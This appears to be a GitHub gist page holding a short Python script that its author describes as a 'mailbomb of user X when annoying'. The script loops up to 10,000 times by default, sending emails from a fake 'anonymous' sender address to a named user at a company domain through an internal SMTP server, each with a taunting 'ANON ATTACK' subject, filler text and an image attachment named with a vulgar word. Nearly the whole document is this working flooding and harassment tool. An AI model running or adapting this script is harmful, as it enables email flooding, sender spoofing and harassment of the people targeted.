Skip to content

Instantly share code, notes, and snippets.

@jaymzcd
Created February 14, 2012 17:38
Show Gist options
  • Save jaymzcd/1828474 to your computer and use it in GitHub Desktop.
Save jaymzcd/1828474 to your computer and use it in GitHub Desktop.
Quick'n'dirty mailbomb of user X when annoying
import smtplib
import os
import sys
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoders
from random import randint
def send_mail(send_from, send_to, subject, text, files=[], server="localhost"):
assert type(send_to)==list
assert type(files)==list
msg = MIMEMultipart()
msg['From'] = send_from
msg['To'] = COMMASPACE.join(send_to)
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = subject
msg.attach(MIMEText(text))
for f in files:
part = MIMEBase('application', "octet-stream")
part.set_payload( open(f,"rb").read() )
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
msg.attach(part)
smtp = smtplib.SMTP(server)
smtp.sendmail(send_from, send_to, msg.as_string())
smtp.close()
if __name__=='__main__':
if sys.argv[1] is None:
user = 'jaymz'
else:
user = sys.argv[1]
if sys.argv[2] is None:
max_v = 10000
else:
max_v = int(sys.argv[2])
for x in range(max_v):
send_mail('anononymous@u-dox.com', ['%s@u-dox.com' % user,],
'ANON ATTACK!!!%s' % ('1!!!!1'*randint(1, 30)),
'LOL ' * randint(1, 100) , ['cock.jpg',], server='10.10.91.2')
if x%10 == 0:
print "On mail %d" % x
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment